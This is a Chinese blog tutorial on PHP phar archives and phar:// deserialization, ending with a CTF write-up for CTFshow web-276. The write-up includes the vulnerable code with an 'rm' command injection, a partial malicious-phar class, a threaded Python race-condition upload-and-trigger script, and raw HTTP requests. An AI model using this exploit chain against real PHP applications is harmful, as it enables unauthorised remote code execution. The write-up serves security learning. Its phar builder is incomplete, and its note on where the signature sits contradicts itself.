共计 6336 个字符,预计需要花费 16 分钟才能阅读完成。
什么是phar?
phar类似Java中的jar,将整个php应用程序打包到一个文件里面。
用户可以直接通过php test.phar执行一个php项目
phar本质上是一个包含多个文件的压缩包,里面存储着有特殊的数据。
开发者可以把phar一整个项目打包成一个phar文件,用户下载这一个文件就可以执行整个项目

phar文件的结构
大体来说 Phar 结构由4部分组成

1.stub:phar 文件标识
<?php
Phar::mapPhar();
include 'phar://phar.phar/index.php';
__HALT_COMPILER();
?>
-
这是一个 合法的 PHP 脚本片段,必须以
<?php开头,并以__HALT_COMPILER(); ?>结尾。 -
当你直接运行
php app.phar时,PHP 解释器会执行这个 stub。 -
它通常用于设置自动加载、引导应用入口等。
简单来说可以把他理解为一个标志
格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。2. Manifest(清单 / 元数据)
-
一个二进制或序列化的结构,记录了归档中每个文件的:
- 文件路径(在 phar 内部的虚拟路径)
- 偏移量(在文件中的位置)
- 大小
- 压缩方式(none / gzip / bzip2)
- 权限(如 0644)
- 时间戳
- 是否为目录
-
还可能包含全局元数据(通过
setMetadata()设置)。
这部分由 Phar 扩展自动管理,开发者通常无需手动操作。
3. File Contents(文件内容区)
- 所有被添加到 Phar 中的实际文件内容(按顺序或按压缩方式存储)。
- 每个文件可以独立选择是否压缩(Gzip 或 Bzip2)。
- 在 PHP 中可通过
phar://流访问,例如:file_get_contents('phar://myapp.phar/config/app.php');4. Signature(签名,可选)
- 位于文件末尾(但在
__HALT_COMPILER();之后?不,实际在__HALT_COMPILER();之前的数据之后)。 - 用于验证 Phar 文件是否被篡改。
这个没啥好讲的,一般不是考点
生成一个phar文件
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
<?php
class TestObject {}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();//开启 Phar 的缓冲写入模式。操作暂存内存中
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //在 Phar 归档内部创建一个名为test.txt的虚拟文件,内容为字符串 "test"。
//签名自动计算
$phar->stopBuffering();//将内存中数据写入磁盘
?>
我们可以在phpstorm里面看到phar文件展开的格式

phar文件中的meta-data是以序列化的形式储存的

当 PHP 访问 phar://... 流时(如 file_exists('phar://a.phar')),会自动反序列化 manifest 中的 metadata。
metadata里面序列化后的数据:

触发反序列化的函数
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

这里我们来演示一下phar触发反序列化
生成phar的php:
<?php
phpinfo();
class TestObject {
public function __destruct() {
echo $this->data;
echo 'Destruct called';
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
读取phar的php:
<?php
class TestObject {
public function __destruct() {
echo $this->data;
echo 'Destruct called';
}
}
include('phar://phar.phar/test.txt');
运行第一个生成phar文件
然后运行第二个php

可以看到成功触发了反序列化
Bzip / Gzip协议和phar://一样可以触发反序列化
$filename = 'compress.zlib://phar://phar.phar/test.txt';
利用phar进行rce
利用条件
1.phar文件要能够上传到服务器端。
2.如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数要有可用的魔术方法作为"跳板"。
3.文件操作函数的参数可控,且::、/、phar等特殊字符没有被过滤。
看几个例题
CTFshow web-276
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|../i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn']))
{
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
前面的filter类暂时先不管
重点是后面的file_put_contents和file_get_contents
file_get_contents可以写入我们的phar文件
然后file_put_contents地方可以使用我们的phar://解析数据从而实现反序列化
那么我们可以构造恶意的phar文件实现rce
构造恶意phar文件的php
<?php
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|../i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
由于会删除文件,这里需要用到条件竞争
import base64
import requests
import threading
flag = False
url = 'https://01ce13d4-6d43-42a7-a103-6c861870257b.challenge.ctf.show/'
data = open('./evil.phar', 'rb').read()
pre_resp = requests.get(url,verify = False)
print(pre_resp.status_code)
if pre_resp.status_code != 200:
print(url + 'n链接好像挂了....')
exit(1)
def upload():
requests.post(url+"?fn=evil.phar", data=data, verify = False)
def read():
global flag
r = requests.post(url+"?fn=phar://evil.phar/", data="",verify = False)
if "ctfshow{" in r.text and flag is False:
print(base64.b64encode(r.text.encode()))
flag = True
while flag is False:
a = threading.Thread(target=upload)
b = threading.Thread(target=read)
a.start()
b.start()
或者是用yakit
upload:
POST /?fn=evil.phar HTTP/1.1
Host: 01ce13d4-6d43-42a7-a103-6c861870257b.challenge.ctf.show
Connection: keep-alive
sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
{{file(C:UsersRycarPhpstormProjectsphp反序列化ctfshow-web276evil.phar)}}
rce:
POST /?fn=phar://evil.phar/ HTTP/1.1
Host: 01ce13d4-6d43-42a7-a103-6c861870257b.challenge.ctf.show
Connection: keep-alive
sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9